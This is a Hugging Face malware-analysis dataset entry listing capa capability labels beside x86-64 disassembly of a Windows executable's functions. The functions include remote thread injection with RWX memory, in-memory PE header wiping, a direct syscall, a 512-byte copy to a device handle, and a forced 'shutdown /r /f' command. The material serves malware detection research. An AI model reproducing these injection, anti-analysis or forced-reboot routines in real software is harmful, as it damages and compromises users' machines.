joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140117ce0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.HARDWARERESOURCEMAPSystem_ResourcesPhysical_Memory
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
xor r8d, r8d
lea rdx, str..Translated
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
nop
mov eax, dword [rsp + 0x34]
mov ecx, eax
call fcn.140358990
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x48]
xor r8d, r8d
lea rdx, str..Translated
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x10]
mov dword [rsp + 0x4c], eax
mov rax, qword [rsp + 0x40]
add rax, 0x18
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0
jmp 0x140117db7
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x4c]
cmp dword [rsp + 0x30], eax
jae 0x140117df4
mov rax, qword [rsp + 0x38]
add rax, 8
mov r9, rax
mov r8, qword [rsp + 0x38]
lea rdx, [rsp + 0x68]
lea rcx, [0x14060a8a8]
call fcn.140101fb0
nop
mov rax, qword [rsp + 0x38]
add rax, 0x14
mov qword [rsp + 0x38], rax
jmp 0x140117dad
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.1403585d0
nop
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
add rsp, 0x88
ret

Function at 0x14012d110
Capabilities:
Read .ini file

Disassembly:
movss dword [rsp + 0x20], xmm3
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
movss xmm1, dword [rsp + 0x98]
lea rcx, [rsp + 0x30]
call fcn.140159830
mov rcx, rax
call fcn.1400e6890
mov rcx, qword [rsp + 0xa0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + reloc.WLDAP32.dll_Ordinal_32], 0x20
lea r9, [rsp + 0x50]
mov r8, rax
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea rcx, [rsp + 0x30]
call fcn.1400de4a0
nop
lea rcx, [rsp + 0x50]
call fcn.140377914
cvtsd2ss xmm0, xmm0
add rsp, 0x78
ret
Function at 0x14012d690
Capabilities:
Create thread

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x78
mov qword [rsp + 0x30], 0
cmp dword [rsp + 0x80], 0
jl 0x14012d6d8
cmp dword [rsp + 0x80], 0x7c
jge 0x14012d6d8
lea r8, [rsp + 0x30]
mov edx, dword [rsp + 0x80]
lea rcx, [0x1405ffc00]
call fcn.14012e090
nop
lea rcx, [rsp + 0x50]
call fcn.14010e550
nop
cmp qword [rsp + 0x30], 0
jne 0x14012d6ff
lea rdx, str.Select_Key
lea rcx, [rsp + 0x50]
call fcn.1400de610
nop
jmp 0x14012d70f
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400de610
nop
cmp dword [rsp + 0x90], 1
jne 0x14012d72b
lea rdx, str.Press_the_Key
lea rcx, [rsp + 0x50]
call fcn.1400de610
nop
movss xmm2, dword [0x1403a6b24]
movss xmm1, dword [0x1403b130c]
lea rcx, [rsp + 0x48]
call fcn.140088520
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x50]
call fcn.1400e6890
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call fcn.1400de880
movzx eax, al
test eax, eax
je 0x14012d7a0
cmp dword [rsp + 0x90], 0
jne 0x14012d7a0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x88]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
lea rcx, [rsp + 0x50]
call fcn.1400de4a0
nop
add rsp, 0x78
ret

Function at 0x14012e0d0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rcx, qword [rsp + 0x70]
call fcn.1400e6890
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 7
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0xffffffffffffffff
jne 0x14012e12b
xor al, al
jmp 0x14012e194
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8d, dword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rsp + 0x48], eax
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x48], 0
je 0x14012e187
mov eax, dword [rsp + 0x40]
cmp rax, qword [rsp + 0x80]
jne 0x14012e187
mov dword [rsp + 0x44], 1
jmp 0x14012e18f
mov dword [rsp + 0x44], 0
movzx eax, byte [rsp + 0x44]
add rsp, 0x68
ret
Function at 0x140148c50
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x168
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0x130
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x140148ccd
mov rdx, qword [rsp + 0x170]
lea rcx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x140148cba
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x38]
mov dword [0x14060a7d0], eax
mov eax, dword [rsp + 0x38]
jmp 0x140148cda
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140148c88
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x168
ret

Function at 0x1401495b0
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x278
mov qword [rsp + 0x28], 0
mov edx, dword [rsp + 0x280]
mov ecx, Ordinal_27
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0xffffffffffffffff
je 0x140149638
mov dword [rsp + 0x30], 0x238
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x140149638
mov rdx, qword [rsp + 0x288]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x140149625
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x28], rax
jmp 0x140149638
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x140149602
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x28]
add rsp, 0x278
ret
Function at 0x14014aa10
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov byte [rsp + 0x18], r8b
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0xd8
mov r8d, dword [rsp + 0xf0]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x14014aa51
cmp qword [rsp + 0x40], 0xffffffffffffffff
jne 0x14014aa58
xor al, al
jmp 0x14014ac14
lea rdx, str.user32.dll
mov ecx, dword [rsp + 0xf0]
call fcn.1401495b0
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x14014aa7f
xor al, al
jmp 0x14014ac14
lea r8, [0x1403af798]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x40]
call fcn.140149650
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x14014aaa9
xor al, al
jmp 0x14014ac14
lea rax, [rsp + 0x80]
lea rcx, [0x1403af7c0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WLDAP32.dll_Ordinal_79
rep movsb byte [rdi], byte [rsi]
movzx eax, byte [rsp + 0x100]
test eax, eax
je 0x14014aadb
mov dword [rsp + 0x48], reloc.WS2_32.dll_recvfrom
jmp 0x14014aae3
mov dword [rsp + 0x48], 0
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x58], eax
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x9a], rax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0xa5], eax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0xab], rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, reloc.WLDAP32.dll_Ordinal_79
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x14014ab48
xor al, al
jmp 0x14014ac14
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, reloc.WLDAP32.dll_Ordinal_79
lea r8, [rsp + 0x80]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14014ab7b
xor al, al
jmp 0x14014ac14
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x50]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
je 0x14014abbf
cmp qword [rsp + 0x70], 0xffffffffffffffff
jne 0x14014abc3
xor al, al
jmp 0x14014ac14
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x80]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WLDAP32.dll_Ordinal_79
rep stosb byte [rdi], al
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, reloc.WLDAP32.dll_Ordinal_79
lea r8, [rsp + 0x80]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14014ac12
xor al, al
jmp 0x14014ac14
mov al, 1
add rsp, 0xd8
pop rdi
pop rsi
ret
Function at 0x14014b9e0
Capabilities:
Set console window title

Disassembly:
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
lea rax, str.Nov_10_2024
mov qword [rbp + 0x18], rax
lea rax, [rbp]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 1]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp]
movzx r8d, byte [rbp + 1]
movzx edx, byte [rbp + 3]
lea rcx, [rbp + 0xe0]
call fcn.1400eaf60
mov rcx, rax
call fcn.140140780
mov qword [rbp + 0x10], rax
mov edx, 0xa
lea rcx, [rbp + 0xc0]
call fcn.140154280
mov rcx, rax
call fcn.1400e6890
mov qword [rbp + 0x20], rax
mov rdx, qword [rbp + 0x10]
lea rcx, [rbp + 0xa0]
call fcn.1400dd850
mov r8, qword [rbp + 0x18]
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.1400d03a0
lea r8, [0x1403afbcc]
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.1400d03a0
mov qword [rbp + 0x28], rax
mov r8, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x28]
lea rcx, [rbp + 0x40]
call fcn.1400d03a0
lea rcx, [rbp + 0x60]
call fcn.1400de4a0
lea rcx, [rbp + 0x80]
call fcn.1400de4a0
lea rcx, [rbp + 0xa0]
call fcn.1400de4a0
lea rcx, [rbp + 0xc0]
call fcn.1400de4a0
nop
lea rcx, [rbp + 0x40]
call fcn.1400e6890
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rbp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rbp + 8], rax
mov r9d, 2
mov r8b, 0xe6
mov edx, 0xd6ff9a
mov rcx, qword [rbp + 8]
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov edx, 0xfffffff0
mov rcx, qword [rbp + 8]
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
and eax, 0xfff8ff7f
mov dword [rbp + 4], eax
mov r8d, dword [rbp + 4]
mov edx, 0xfffffff0
mov rcx, qword [rbp + 8]
call qword [sym.imp.USER32.dll_SetWindowLongA]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.USER32.dll_GetSystemMenu]
mov qword [rbp + 0x30], rax
cmp qword [rbp + 0x30], 0
je 0x14014bb6a
call fcn.140133320
nop
mov dx, 9
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
nop
mov byte [rbp + 2], 1
lea rcx, [rbp + 0x40]
call fcn.1400de4a0
movzx eax, byte [rbp + 2]
add rsp, 0x148
pop rdi
pop rbp
ret
Function at 0x14014c4e0
Capabilities:
Set current directory

Disassembly:
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
lea rax, [rbp]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 1]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp]
movzx r8d, byte [rbp + 1]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x60]
call fcn.1400eb040
mov rcx, rax
call fcn.140140960
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.1400dd850
nop
mov r8d, 0x72e00
lea rdx, [0x1405864a0]
lea rcx, [rbp + 0x10]
call fcn.14012e0d0
nop
lea rax, [rbp + 2]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 3]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 2]
movzx r8d, byte [rbp + 3]
movzx edx, byte [rbp + 9]
lea rcx, [rbp + 0x40]
call fcn.1400ecc10
mov rcx, rax
call fcn.140140780
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
nop
lea rax, [rbp + 4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 5]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 4]
movzx r8d, byte [rbp + 5]
movzx edx, byte [rbp + 0xa]
lea rcx, [rbp + 0xa0]
call fcn.1400ee210
mov rcx, rax
call fcn.140140960
mov rcx, rax
call fcn.14037b1d4
nop
lea rax, [rbp + 6]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 7]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 6]
movzx r8d, byte [rbp + 7]
movzx edx, byte [rbp + 0xb]
lea rcx, [rbp + 0xe0]
call fcn.1400ef410
mov rcx, rax
call fcn.140140960
mov rcx, rax
call fcn.14012e320
nop
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.shutdown__r__f__t_15__NUL_2_1
call fcn.14037b1d4
xor ecx, ecx
call fcn.140379ee0
nop
lea rcx, [rbp + 0x10]
call fcn.1400de4a0
nop
add rsp, 0x168
pop rdi
pop rbp
ret
Function at 0x140150330
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
lea rax, [rbp]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 1]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp]
movzx r8d, byte [rbp + 1]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0x60]
call fcn.1400eb200
mov rcx, rax
call fcn.140140960
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
mov edx, 0x10000000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x20], rax
cmp qword [rbp + 0x20], 0xffffffffffffffff
jne 0x1401503c2
jmp 0x1401504c5
lea rax, [rbp + 2]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 3]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 2]
movzx r8d, byte [rbp + 3]
movzx edx, byte [rbp + 9]
lea rcx, [rbp + 0x40]
call fcn.1400ecd10
mov rcx, rax
call fcn.140141c90
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x10], rax
cmp qword [rbp + 0x10], 0xffffffffffffffff
jne 0x14015043e
jmp 0x1401504c5
xor edx, edx
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0x200
je 0x140150458
jmp 0x1401504c5
mov eax, dword [rbp + 4]
mov ecx, eax
call fcn.140358990
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x18]
mov r8d, dword [rbp + 4]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1401504b0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x18]
mov r8d, dword [rbp + 4]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x108
pop rdi
pop rbp
ret
Function at 0x1401521e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
sub rsp, 0x60
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140152200
jmp 0x140152366
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov ecx, 8
call fcn.140374ac4
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x38]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x20], 0
jmp 0x14015226c
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x30]
add rax, 0x28
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x20], eax
jae 0x14015230b
lea r9, [rsp + 0x24]
mov r8d, 0x40
mov edx, Ordinal_41
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.140379f44
and eax, 0xff
mov ecx, 1
imul rcx, rcx, 0
mov rdx, qword [rsp + 0x30]
mov byte [rdx + rcx], al
mov eax, 1
imul rax, rax, 1
mov rcx, qword [rsp + 0x30]
mov byte [rcx + rax], 0
mov rax, qword [rsp + 0x30]
mov dword [rax + 0xc], 0
mov rax, qword [rsp + 0x30]
mov dword [rax + 8], 0
mov rax, qword [rsp + 0x30]
mov dword [rax + 8], 0
lea r9, [rsp + 0x24]
mov r8d, dword [rsp + 0x24]
mov edx, Ordinal_41
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
jmp 0x140152254
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x48]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
lea r9, [rsp + 0x28]
mov r8d, 0x40
mov edx, 8
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x28]
mov r8d, dword [rsp + 0x28]
mov edx, 8
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
add rsp, 0x60
pop rdi
ret
Function at 0x140158760
Capabilities:
Hash data using fnv

Disassembly:
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
movsx eax, byte [rsp + 0x10]
mov ecx, dword [rsp + 8]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
ret

Function at 0x14015b670
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
cmp qword [rsp + 0x80], 0
jg 0x14015b695
xor eax, eax
jmp 0x14015b856
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x68], 0
je 0x14015b6bd
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x70]
call fcn.14015b890
jmp 0x14015b856
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x70]
call fcn.140137e10
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jbe 0x14015b75a
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x20]
call fcn.140089630
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x70]
call fcn.14014a210
mov r8, qword [rsp + 0x28]
mov rdx, rax
mov rcx, qword [rsp + 0x78]
call fcn.1400e68e0
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov edx, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x70]
call fcn.140148e20
nop
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x80], 0
je 0x14015b846
mov rcx, qword [rsp + 0x70]
call fcn.14013a460
mov qword [rsp + 0x58], 0xfff
cmp qword [rsp + 0x20], 0xfff
jbe 0x14015b7fa
mov rax, qword [rsp + 0x70]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x78]
call fcn.140368d20
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x30], 0xfff
je 0x14015b7f8
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
jmp 0x14015b856
jmp 0x14015b780
cmp qword [rsp + 0x20], 0
jbe 0x14015b846
mov rax, qword [rsp + 0x70]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x20]
mov edx, 1
mov rcx, qword [rsp + 0x78]
call fcn.140368d20
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
add rsp, 0x68
ret
Function at 0x14015d980
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, 7
syscall
ret
Function at 0x140184980
Capabilities:
Convert ip address from string

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x88
mov rax, qword [0x1406061c0]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov r13, qword [rcx]
mov ebp, r8d
mov rsi, rcx
lea r8, [rsp + 0x20]
mov ebx, 2
xor r14d, r14d
mov ecx, ebx
mov r15, r9
mov r12, qword [r13 + 0x11b0]
mov rdi, rdx
mov dword [r9], r14d
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jle 0x1401849ec
mov r9d, ebp
lea rdx, [rsp + 0x20]
mov r8, rdi
mov ecx, ebx
call fcn.1401a3600
jmp 0x140184aca
mov ebx, reloc.WS2_32.dll_socket
lea r8, [rsp + 0x58]
mov ecx, ebx
mov rdx, rdi
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jle 0x140184a1c
mov r9d, ebp
lea rdx, [rsp + 0x58]
mov r8, rdi
mov ecx, ebx
call fcn.1401a3600
jmp 0x140184aca
mov ecx, dword [rsi + 0x440]
sub ecx, 1
je 0x140184a40
cmp ecx, 1
je 0x140184a2f
mov ebx, r14d
call fcn.1401854b0
test al, al
mov eax, 2
cmove ebx, eax
jmp 0x140184a45
mov ebx, 2
cmp dword [rsi + 0xbc], 3
lea r8, [0x1403a695c]
xorps xmm0, xmm0
lea rcx, [rsp + 0x68]
movups xmmword [rsp + 0x28], xmm0
setne r14b
mov dword [rsp + 0x2c], ebx
inc r14d
mov r9d, ebp
mov edx, ntohs
mov dword [rsp + 0x30], r14d
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
call fcn.140194970
lea rcx, [rsp + 0x58]
call fcn.140184810
lea r9, [rsp + 0x28]
mov r8d, ebp
mov rdx, rdi
mov rcx, rsi
movups xmm0, xmmword [rax]
movups xmmword [r12], xmm0
call fcn.140185110
test al, al
je 0x140184ab9
mov dword [r15], 1
jmp 0x140184ac8
lea rdx, str.getaddrinfo___thread_failed_to_start_n
mov rcx, r13
call fcn.140190a20
xor eax, eax
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140358cc0
add rsp, 0x88
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
jmp 0x140184980